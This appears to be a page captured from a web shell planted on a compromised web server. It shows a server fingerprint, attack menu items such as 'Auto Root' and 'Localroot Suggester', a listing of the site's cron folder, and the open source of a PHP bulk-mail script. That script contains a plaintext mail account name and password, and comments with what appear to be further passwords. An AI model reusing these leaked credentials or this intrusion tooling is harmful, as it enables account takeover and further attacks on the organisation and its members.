Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
crons /
Delete
Unzip
Name
Size
Permission
Date
Action
Mandrill
[ DIR ]
drwxr-sr-x
2016-02-10 08:42
temp
[ DIR ]
drwxr-sr-x
2022-06-16 13:37
.htaccess
35
B
-rw-r--r--
2023-03-13 09:52
CESA_Ci Applications2b.pdf
800.6
KB
-rw-r--r--
2008-08-14 11:23
CESA_vector logo_high res.jpg
334.84
KB
-rw-r--r--
2008-08-14 11:10
Fulton_Press_small.pdf
84.39
KB
-rw-r--r--
2008-08-11 10:41
LAUNCH OF CESA.pdf
69.23
KB
-rw-r--r--
2008-08-14 11:24
Mandrill.php
6.44
KB
-rw-r--r--
2016-02-10 08:42
Overview_template_QMS_for_SMME-v2 _2.pdf
43.08
KB
-rw-r--r--
2008-09-26 12:04
ToSendProcess.php
46.4
KB
-rw-r--r--
2026-04-01 10:55
XPertMailer.php
38.69
KB
-rw-r--r--
2008-08-06 07:29
ad-reminders.php
2.7
KB
-rw-r--r--
2024-05-16 09:16
awards-from-forminator-debug.php
7.13
KB
-rw-r--r--
2025-06-23 16:02
awards-from-forminator-direct.php
9.69
KB
-rw-r--r--
2025-06-24 06:23
awards-from-forminator-fixed.php
7.42
KB
-rw-r--r--
2025-06-23 16:09
awards-from-forminator-step-by-step.php
6.93
KB
-rw-r--r--
2025-06-23 16:12
awards-from-forminator.php
18.54
KB
-rw-r--r--
2026-06-29 10:02
batch-job.php
948
B
-rw-r--r--
2026-08-24 10:20
bulk-mail-check.php
443
B
-rw-r--r--
2025-08-22 11:48
checkmail.php
6.35
KB
-rw-r--r--
2008-08-06 09:18
class.email-reader.php
15.58
KB
-rw-r--r--
2008-08-06 09:18
cron-5-minutes-root.sh
527
B
-rwxr-xr-x
2026-08-21 08:23
cron-daily-v3.sh
192
B
-rwxr-xr-x
2025-09-11 17:37
cron-daily.sh
500
B
-rwxr-xr-x
2025-12-29 09:32
cron-hourly.sh
413
B
-rwxr-xr-x
2025-09-01 13:33
cron-monthly.sh
83
B
-rwxr-xr-x
2025-06-27 15:38
cron.sh
369
B
-rwxr-xr-x
2026-04-16 10:02
export-attendees-google.php
3.07
KB
-rw-r--r--
2026-08-24 10:20
export-member-data-google.php
3.69
KB
-rw-r--r--
2026-08-24 10:20
export.php
1.96
KB
-rw-r--r--
2010-04-13 14:54
exportgooglecontacts.php
1.18
KB
-rw-r--r--
2022-06-16 14:41
import.php.bak
4.84
KB
-rw-r--r--
2010-05-06 07:59
importdup.php
3.34
KB
-rw-r--r--
2010-05-19 14:20
importschool.php
5.09
KB
-rw-r--r--
2010-05-19 14:05
php8.1_cli_errors.log
43.15
KB
-rw-r--r--
2025-12-31 10:58
phpinfo.php
20
B
-rw-r--r--
2024-04-16 11:40
receivemail.class.php
4.65
KB
-rw-r--r--
2008-08-06 07:51
sce-send-certificates.php
750
B
-rw-r--r--
2026-08-24 10:20
sendlater.php
12.86
KB
-rw-r--r--
2026-01-16 09:53
sendsms.php
4.3
KB
-rw-r--r--
2026-01-16 09:43
simple-wp-test.php
1.74
KB
-rw-r--r--
2025-06-23 16:05
sync-anual-declarations.php
3.22
KB
-rw-r--r--
2026-08-24 10:20
system-checks.php
798
B
-rw-r--r--
2026-08-24 10:20
test-send.php
786
B
-rw-r--r--
2024-04-11 07:55
test-wp-load.php
2.29
KB
-rw-r--r--
2025-06-23 16:02
training-material-expiry-check.php
4.12
KB
-rw-r--r--
2026-06-12 11:48
training-provider-expiry-check.php
4.51
KB
-rw-r--r--
2026-06-12 11:48
unemployed-reminders.php
2.43
KB
-rw-r--r--
2024-05-16 09:06
update-qms-cert-status.php
3.54
KB
-rw-r--r--
2026-08-24 10:20
wp-diagnostic.php
4.39
KB
-rw-r--r--
2025-06-23 16:08
wp-load-bypass.php
3.03
KB
-rw-r--r--
2025-06-23 16:08
wp-load-minimal.php
3.01
KB
-rw-r--r--
2025-06-23 16:08
Save
Rename
<?php error_reporting(E_ALL); // php errors define('DISPLAY_XPM4_ERRORS', true); // display XPM4 errors //define('LOG_XPM4_ERRORS', serialize(array('type' => 1, 'destination' => 'errors@domain.tld', 'headers' => 'From: xpm4@domain.tld'))); // <- send mail //define('LOG_XPM4_ERRORS', serialize(array('type' => 3, 'destination' => '/var/tmp/XPM4.log'))); // <- append file require_once ('../inc/auth.inc'); // path to 'MIME.php' file from XPM4 package require_once '../XpertMailer/MIME4.php'; require_once("class.email-reader.php"); /** Validate an email address. Provide email address (raw input) Returns true if the email address has the email address format and the domain exists. */ function isEmail($email) { $isValid = true; $atIndex = strrpos($email, "@"); if (is_bool($atIndex) && !$atIndex) { $isValid = false; } else { $domain = substr($email, $atIndex+1); $local = substr($email, 0, $atIndex); $localLen = strlen($local); $domainLen = strlen($domain); if ($localLen < 1 || $localLen > 64) { // local part length exceeded $isValid = false; } else if ($domainLen < 1 || $domainLen > 255) { // domain part length exceeded $isValid = false; } else if ($local[0] == '.' || $local[$localLen-1] == '.') { // local part starts or ends with '.' $isValid = false; } else if (preg_match('/\\.\\./', $local)) { // local part has two consecutive dots $isValid = false; } else if (!preg_match('/^[A-Za-z0-9\\-\\.]+$/', $domain)) { // character not valid in domain part $isValid = false; } else if (preg_match('/\\.\\./', $domain)) { // domain part has two consecutive dots $isValid = false; } else if (!preg_match('/^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$/', str_replace("\\\\","",$local))) { // character not valid in local part unless // local part is quoted if (!preg_match('/^"(\\\\"|[^"])+"$/', str_replace("\\\\","",$local))) { $isValid = false; } } } return $isValid; } $nl="<br/>\n"; $report = TRUE; // saace-ypf bb6m4y95 // saace-principals od1gq7px $site=array(); $site['email_address'] = "saace-members@xe.co.za"; $site['email_name'] = "SAACE Members"; $site['pop_host'] = "pop.xe.co.za"; $site['host'] = "smtp.xe.co.za"; $site['username'] = "saace-members@xe.co.za"; $site['password'] = "6y134k3u"; $site['authentication'] = TRUE; $site['folder'] = "temp/"; $reader=new email_reader_class(); $reader->set_account($site['pop_host'], $site['username'], $site['password']); $ok=$reader->connect(); if($ok) // if connected { $count=$reader->get_count(); if($report) echo $count.' emails on server<br/>'; if($count>0) // if emails to process { $other_emails=TRUE; while($other_emails) // step through emails { $processed=FALSE; $head=$reader->get_header(); $from_address = trim($head['from'][0]['mailbox']) . "@" . trim($head['from'][0]['host']); if($report) echo 'From: '.$from_address.'<br/>'; $subject = $head['subject']; if (eregi("@xe.co.za", $from_address) || eregi("@saace.co.za", $from_address)) { $message_id=""; if(isset($head['message_id'])) $message_id=$head['message_id']; if($report) echo 'ID: '.$message_id.'<br/>'; if(!empty($message_id)) { $body=trim($reader->get_body()); $attachments=$reader->get_attachments(); //Create outgoing mail // set text/plain version of message $text = MIME4::message(strip_tags($body), 'text/plain'); // set text/html version of message $html = MIME4::message($body, 'text/html'); // add attachments $at = array(); while(list($key,$value)=each($attachments)) { if(is_dir($site['folder'])) { $filename=$site['folder'].$value['filename']; $filehandle=fopen($filename, "ab"); fwrite($filehandle, $value['filedata']); fclose($filehandle); $at[] = MIME4::message($value['filedata'], FUNC4::mime_type($filename), $value['filename'], null, 'base64', 'inline',$value['id']); } } // compose mail message in MIME format $mess = MIME4::compose($text, $html, $at); // Send email // To send HTML mail, the Content-type header must be set $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: '. $from_address . "\r\n"; // All members /*$sqlrecipients = "SELECT distinct TRIM(MC.Email) as Email FROM tblMemberFirms MF INNER JOIN (tblMemberFirmOffices MFO INNER JOIN MemberContacts MC ON MFO.OfficeID = MC.OfficeID) ON MF.FirmID = MFO.FirmID WHERE MC.Email Is Not Null AND MC.Mail = 0 AND TRIM(MC.Email) <> '' and (MC.Email like '%@%.%') and ((MF.DeclarationReceived > '2005-12-31' AND MF.MemberStatus = 'member') OR (MF.MemberStatus = 'retired member') Or (MF.MemberStatus = 'honorary member'))"; */ $sqlrecipients = "SELECT 'julia@xe.co.za' AS Email"; $db = mysql_connect($loghost,$logid,$logpwd); mysql_select_db($dbname,$db); $icount = 0; $j = 0; $batch = 0; $rsRec = mysql_query($sqlrecipients); $send = true; $arrInvalid = array(); while ($rsR = mysql_fetch_assoc($rsRec)) { $recipient = $rsR["Email"]; if (isEmail($recipient)) { // send mail $send = mail($recipient, $subject, $mess['content'], 'From: '.$from_address."\n".$mess['header']); $icount++; // wait for a quarter second usleep(250000); } else { $arrInvalid[] = $recipient; } $j++; if ($j >= 500) { // wait for 10 seconds sleep(10); $j = 0; $batch++; } } mail($from_address, "Bulk email status", $icount . " email messages sent", $headers); } if($processed) { $other_emails=$reader->delete_current_email(); // <- when live } else { $other_emails=$reader->next_email(); // <- when testing } } else { $other_emails=$reader->next_email(); } } } else { echo "No emails to process".$nl; } $reader->disconnect(); } else { echo $reader->error; echo $nl; } ?>